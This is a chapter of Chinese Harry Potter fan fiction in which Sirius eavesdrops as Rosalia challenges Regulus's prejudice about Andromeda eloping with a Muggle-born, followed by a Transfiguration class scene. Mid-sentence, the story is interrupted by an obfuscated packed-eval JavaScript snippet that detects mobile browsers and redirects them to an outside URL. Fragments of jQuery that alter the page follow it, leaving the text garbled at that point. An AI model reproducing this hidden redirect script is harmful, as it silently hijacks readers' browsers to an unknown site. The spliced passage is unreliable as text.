找到雷古勒斯对小天狼星来说并不是什么难事——问题是,自己为什么要找他?


    然而来不及思考出答案,小天狼星的脚就已经迈上螺旋形的楼梯了。


    他知道,自己那个傻弟弟若是消失了,十有八九是跑到高处看星星去了。除了上课,天文塔平时是不允许学生去的,雷古勒斯肯定不知道——对,这样自己还能抓他个现形什么的。


    就这样想着,小天狼星轻轻拉开了塔楼的铁门……


    “……我讨厌她,她欺骗了我们所有人……”


    小天狼星的动作顿住了。


    是雷古勒斯的声音。


    他在……跟谁说话?


    “这只是一种策略,雷吉……”


    一个女孩?声音好耳熟,但不是纳西莎——他认识的人中,还有谁会喊雷古勒斯的小名?


    小天狼星把自己挤进门,钻进一堆杂乱器械的遮蔽中。


    他弟弟又开始说话了:


    “……我更讨厌唐克斯,多米达堂姐可是布莱克家族的人,他算什么东西,他根本配不上堂姐……”


    ……什么?


    小天狼星感觉一股气血冲上了他的头顶。偏偏,那个女孩还在附和雷古勒斯:


    “你会有这种情绪,是很正常的。换作是我,第一反应也是愤怒……”


    很正常?正常什么?小天狼星深吸一口气。是谁又再和雷古勒斯谈论这些?你们有完没完了——


    他掏出魔杖,往前走了几步——


    “但是,雷吉……”


    突然间,一声嘶嘶的、毒蛇一般的念咒在小天狼星身侧响起了。


    “统统石化。”


    小天狼星僵硬地看着那个隐匿在黑暗中的人缓缓走到月光下:黑头发、黑眼睛、黑袍子——詹姆说得对,世上找不出第二个能让他看一眼就那么想挥舞魔杖的人了——西弗勒斯·斯内普。


    啊哈。


    那么上面那个和雷古勒斯说话的女孩就是……


    果然。果然没错。这才对……她惯会在莉莉面前扯谎——罗萨利亚·拉文谢德,这个令人作呕的撒谎精——不知道什么时候,已经和他那个蠢蛋弟弟混到一起去了!


    小天狼星愤怒地看着斯内普从地上扯起一块宽大的、脏兮兮的、用来给望远镜避尘遮雨的灰布,朝他走了过来。


    哦……鼻涕精。小天狼星试图用可悲的眼神看对方:你怎么像条狗一样,在这儿给那两个人看门呢——


    可惜,他一点儿也动不了。而斯内普把他整个人裹了起来。


    “但是,雷吉,你也不能这么说唐克斯。怎么说他也是安多米达喜欢的人。”


    “而且安多米达已经是成年人了。”罗萨利亚耐心地说:“她有自己做选择的权利,她也有能力承担做选择的后果。”


    “……我还是无法接受。”雷古勒斯抱着膝盖,眼睛里有红血丝。他几乎是怨恨地在说:“泰德·唐克斯一无所有。他带着多米达堂姐私奔的时候,身上会有几个加隆?他们以后又会住在哪儿——安多米达到底看上他什么了?他看起来就邋里邋遢的,以后不会还要堂姐给他收拾屋子吧?”


    “别想那么坏,而且我觉得安多米达临走之前,肯定带上了自己的储蓄。”罗萨利亚轻轻拍着雷古勒斯的后背,试图安慰他,可后者听完她的话,却仿佛获得了什么灵感一般,语气更怪异了:“是啊,堂姐甚至把加隆也偷偷带上了,唐克斯带了什么?”


    罗萨利亚觉得,如果泰德·唐克斯现在出现在雷古勒斯眼前,一定会被他用扫帚“一不小心”打到天文塔塔顶去。


    雷古勒斯木然地看着夜空中的星星——他当然认得出那些漂亮的星星的名字,它们早已在家族挂毯上闪烁过无数次。他指着星星,嘴唇掀动,轻声说:“爸爸在联络预言家日报追回当日发售的报纸,德鲁埃拉姨母到现在还晕着,西格纳斯叔叔亲手……烧毁了安多米达在家谱挂毯上的画像。我写了五封信让克利切带给妈妈,妈妈一句话也没有留给我。”


    他说着说着,却察觉到那抹拍打自己后背的温度不见了——罗萨利亚收回手,放到了自己的膝盖上。雷古勒斯知道,她正在认真听他说话,可他还是因为这个小小的变化而情不自禁地烦躁起来。于是,讥讽的话脱口而出,他听见自己说:“这些都是因为什么?因为泰德·唐克斯是麻瓜出身!你不能指望他懂什么分寸和教养,他就是个——”


    他停下来了,没说出那个词。但罗萨利亚肯定知道他的意思,她会理解他的意思。又一次没有听见即时的回复,但雷古勒斯这一次要更有耐心,他执拗地心想,罗萨利亚一定是站在他这边的,就跟禁林那次一样——他讲了那么多,她都不在乎,她只关心他。


    终于,罗萨利亚开口了。


    他听到她说:“这是谁教你的,雷吉?”


    雷古勒斯心里咯噔一下。他感到一种名为害怕的情绪正从自己胸腔里冒了出来。


    “……所有人都这么说。”他试图用生硬的语气掩盖自己的情绪:“所有人都在嘲笑安多米达跟一个麻瓜出身的巫师私奔了。罗萨利亚,你——你明白我在说什么的,对吧?”


    他微弱的询问飘进了天文塔的风里,大概过了一个世纪那么长,雷古勒斯才听到罗萨利亚“唔”了一声,说:“有点不明白。”


    雷古勒斯快速地把头转回来了,短促地问:“哪里没明白?我、我再讲一遍。”


    “我是想不通——高贵的布莱克家族竟也轮得到他人点评?”罗萨利亚问。


    他一愣:“当然不——”


    “那这么说,原来是布莱克自己人认为安多米达令家族蒙羞了。”


    “不——不……”他感觉自己的声音又一次微弱下去了:“和堂姐无关,是……”“这不是很奇怪吗?”


    雷古勒斯听见罗萨利亚说:


    “按照你之前的说法,安多米达应该是家族的骄傲才对——现在我对此有些怀疑了。”


    和自己比起来,对方几乎是漫不经心的:“如果安多米达真的很出色,为何她挑选伴侣后却被里外一致地贬损?如果高贵的血统能使人不可侵犯,那布莱克家族为何还会被指手画脚?如果她真的被视为骄傲,为何会被从家谱图上抹掉?如果她真的以现在的布莱克为荣耀,那么为何要偷偷逃跑?”


    雷古勒斯完全呆住了。


    他听见罗萨利亚缓缓道:“真奇怪,我还以为,是安多米达·布莱克让人知道何为出色、高贵、骄傲和荣耀,怎么现在,她却要屈从于这些符号?”


    月亮越升越高,夜间的风渐渐兴起来了。雷古勒斯的碎发糊了他一脸,罗萨利亚抬手帮他别到耳后,轻声说:“雷吉,我理解你的难过与愤怒,我知道,你只是想要安多米达幸福——你不是一个说那种话的人,从来都不是,不要违背自己的本心——安多米达知道了会伤心的,她也很爱你呢。”


    雷古勒斯忽然觉得有什么火辣辣的东西从脸上流了下来,他猛地从地上弹起来,把脑袋对准石柱,仿佛这样就能撤回两串眼泪了。


    “明白了?”罗萨利亚问。


    雷古勒斯胡乱点点头。


    “那我们回去吧?”罗萨利亚哄道。


    雷古勒斯又点点头。


    “西弗——我们聊完了——”


    罗萨利亚从楼梯上往下走,她看到斯内普正远远地靠在门上,手里捏着魔杖。她道:“久等了,没人上来吧?”


    “没有。”斯内普说完,瞥了眼雷古勒斯,道:“你把他骂哭了?”


    雷古勒斯的脸通红:“她没有骂我——不是——我没有哭!”


    罗萨利亚随口道:“天文塔风大,走了——嗯?”


    “这个器械……刚才就在这儿吗?”


    一片灰白色中,小天狼星听到罗萨利亚清晰地问。她的脚步还在靠近。


    然而,紧接着,斯内普的声音传来:


    “我没注意。走吧,时间不早了。”


    脚步声就这么停了。


    “哦……好。”她说。


    随后,“咔哒”一声。天文塔的铁门被关上了。


    小天狼星立在原地两个世纪,忽然动了一下手指——然后激烈挣扎着把灰布扯了下来。他还以为自己要在天文塔站整整一个晚上!鼻涕精什么时候解除的咒语?


    他不知道,他一点儿也没发觉。


    小天狼星大口喘着气。


    他恨死鼻涕精了——


    被灰布缠绕的时候,他正听到拉文谢德在替安多米达说好话——算她识相——包括后面自己那蠢弟弟讥讽的大叫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939423|192924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他也听见了。


    可就在他和雷古勒斯一起等拉文谢德的回应时——斯内普这个可恶的鼻涕精,突然就把他拖到了角落!再加上被这层布裹着,他完全听不见两个人讲话了。


    拉文谢德后面到底说了什么?她那句“谁教你的”,是不是有要反驳雷古勒斯的意思?她到底是怎么想的?她到底是站在哪边的?她的哪句话是真的、哪句又是假的——


    小天狼星觉得自己矛盾得快要炸开了。他在天文塔大喊一声:


    “我真的搞不懂了——”


    “我能确定了,西里!”


    “……什么?”


    小天狼星从发呆中醒了过来,眼前的教室都变得有些陌生。一声声变形咒语飘入他耳中。


    詹姆偷瞄着麦格教授被弗立维教授叫走远去的身影,迅速丢开魔杖,把桌上的甲虫弹到一边,跟小天狼星聊了起来:“鼻涕精和撒谎精这几周又开始去打人柳了,而且明显比之前更加小心,我就说我的预感没错,他俩肯定背着伊万斯有鬼。”


    “……你竟然还在——你什么时候又开始观察他们了?”小天狼星小声抱怨道:“詹姆,你居然不叫上我?”


    “我不是不叫你,我是魁地奇训练的时候——飞的时候用望远镜看到的。看到好几次了。”詹姆解释完抱怨了一句:“谁让你不跟我一起加入魁地奇的——你飞得又不赖。”


    小天狼星咕哝道:“什么时候魁地奇取消了那七百多条规则我就报名。”


    “那毕竟是比赛啊,怎么可能把规则都取消掉。”


    “那算了。我还是喜欢自由自在飞翔的感觉。”


    “你再考虑考虑呗,你不想和我一起化身格兰芬多魁地奇双侠吗?”


    忽然,两人感觉自己的坐椅被轻踢了一脚。紧接着一道长长的影子就从底下冒出来投到他们面前的桌子上,说道:


    “在化身格兰芬多魁地奇双侠之前,两位先生,你们为何不先把自己桌上的甲虫变成一对漂亮的纽扣呢?”


    詹姆和小天狼星齐齐回头。麦格教授不知道什么时候回来了,她正严肃地用那双小圆眼睛盯着他们。两人对视一眼,心知肚明麦格教授又偷偷变猫巡视学生了。


    麦格教授又扭过头:“还有你,莱姆斯先生,我认为把腿伸长,对你胳膊的恢复应该毫无助力?”


    卢平低着头说:“您说得对,教授。”


    “另外,佩迪鲁先生。”麦格教授皱着眉头说:“你挥舞魔杖的动作完全是错的,念再多的咒语,也不会有纽扣出现在桌子上。”


    邻座的彼得把头低得更低了。


    眼看麦格教授又把目光转了回来,嘴巴马上要张开了,詹姆赶紧说:“我们会变纽扣,麦格教授,这个一点难度也没有。”


    说完,他挥动魔杖把自己桌上的甲虫变成了一枚货真价实的纽扣。小天狼星也轻巧地完成了这一变形,还学詹姆也在纽扣上画了一头格兰芬多狮子。他俩前面的学生回过头来,发出了“哇”的轻叹。詹姆得意地咧嘴笑了。


    “波特先生、布莱克先生,我想这没什么值得炫耀的。”然而,麦格教授扬起眉毛:“我从后排来的时候,已经至少看到三个学生完成这一变形了。他们都开始写我布置的论文了,先生们。”


    三个学生。詹姆和小天狼星不用回头都知道是哪三个。待麦格教授往台前走后,詹姆小小地嘁了一声,盯着麦格的背影对小天狼星嘟囔道:“等我学会麦格这招,我也要用它来吓唬人。”


    “铃铃铃……”


    “下课。”麦格教授说。


    小天狼星站起来伸了个懒腰,刚一转身,正好和另一道身影擦肩而过。他隐约闻到股玫瑰花园里才有的香气。


    “麦格教授。”那个身影说道:“我有一个关于变形术的知识想请教您。”


    是撒谎精。小天狼星顿时觉得胸口那股翻腾的劲儿又上来了。但他假装若无其事,勾着詹姆的肩膀从往前门走。


    “……您是说,您刚才变成猫的那种变形术,不是一般变形术,而是叫阿尼玛格斯是吗?我觉得真的很有意思……”


    “……原来这么复杂……您当时是怎么练成的……”


    他还想再听一会儿,就像之前在天文塔上那样,但是詹姆已经半扛着他走出教室了。